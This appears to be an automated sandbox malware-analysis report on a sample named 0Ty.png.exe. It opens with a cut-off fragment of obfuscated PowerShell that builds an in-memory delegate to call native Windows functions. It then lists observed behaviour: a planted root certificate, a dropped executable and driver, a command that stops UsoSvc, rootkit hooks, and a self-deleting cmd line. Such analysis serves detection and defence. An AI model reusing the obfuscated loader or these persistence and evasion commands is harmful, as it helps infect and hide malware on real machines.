Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+'M'+'o'+[Char](100)+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+'ga'+[Char](116)+''+[Char](101)+'T'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+'a'+''+'l'+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+'lass',[MulticastDelegate]);$ZycFOOCRuuH.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+'e'+'c'+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+','+[Char](80)+'u'+'b'+'l'+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+'nt'+'i'+'m'+[Char](101)+','+'M'+''+'a'+''+[Char](110)+''+[Char](97)+'g'+'e'+''+[Char](100)+'');$ZycFOOCRuuH.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+'Sig'+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'ir'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$doUOZqbWki,$kwrQxTwRDzvgHI).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ZycFOOCRuuH.CreateType();}$PIBnzpATGOiSb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+[Char](109)+''+[Char](46)+'d'+'l'+'l')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'in'+[Char](51)+''+[Char](50)+''+'.'+'Uns'+[Char](97)+''+[Char](102)+'e'+'N'+''+[Char](97)+'t'+'i'+''+[Char](118)+'eM'+[Char](101)+''+[Char]
Source: C:\Windows\System32\dialer.exe Code function: 65_2_0000000140832D30 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect, 65_2_0000000140832D30
Source: 0Ty.png.exe Static PE information: section name: .00cfg
Source: weiuemyrzjra.exe.0.dr Static PE information: section name: .00cfg
Source: C:\Windows\System32\conhost.exe Code function: 31_3_000002408995B0ED push rcx; retf 003Fh 31_3_000002408995B0EE
Source: C:\Windows\System32\dialer.exe Code function: 64_2_0000000140001394 push qword ptr [0000000140009004h]; ret 64_2_0000000140001403
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8AB05C push esp; retf 66_2_00007FFD9B8AB05D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9B8A63D1 push ebx; retf 0009h 66_2_00007FFD9B8A641A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 66_2_00007FFD9BB2231A push 8B485F77h; iretd 66_2_00007FFD9BB22322
Source: C:\Windows\System32\conhost.exe Code function: 67_3_0000014ECB48B0ED push rcx; retf 003Fh 67_3_0000014ECB48B0EE
Source: C:\Windows\System32\winlogon.exe Code function: 69_3_00000225DC62B0ED push rcx; retf 003Fh 69_3_00000225DC62B0EE
Source: C:\Windows\System32\lsass.exe Code function: 70_3_00000202C0ACB0ED push rcx; retf 003Fh 70_3_00000202C0ACB0EE
Source: C:\Windows\System32\svchost.exe Code function: 71_3_000002A6612EB0ED push rcx; retf 003Fh 71_3_000002A6612EB0EE
Source: C:\Windows\System32\dwm.exe Code function: 72_3_000002BAAEDEB0ED push rcx; retf 003Fh 72_3_000002BAAEDEB0EE
Source: C:\Windows\System32\dllhost.exe Code function: 73_3_00000248FFB5B0ED push rcx; retf 003Fh 73_3_00000248FFB5B0EE

Persistence and Installation Behavior

barindex
Source: C:\Windows\System32\lsass.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\Windows\System32\lsass.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe File created: C:\Windows\TEMP\ihddniqxcjeb.sys Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe File created: C:\Windows\Temp\ihddniqxcjeb.sys Jump to dropped file
Source: C:\Users\user\Desktop\0Ty.png.exe File created: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Jump to dropped file
Source: C:\Users\user\Desktop\0Ty.png.exe File created: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Jump to dropped file
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe File created: C:\Windows\Temp\ihddniqxcjeb.sys Jump to dropped file
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

barindex
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation
Source: explorer.exe IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: explorer.exe User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe"
Source: C:\Users\user\Desktop\0Ty.png.exe Process created: C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\0Ty.png.exe" Jump to behavior
Source: Possible double extension: png.exe Static PE information: 0Ty.png.exe
Source: C:\Windows\System32\dialer.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE dialerstager Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
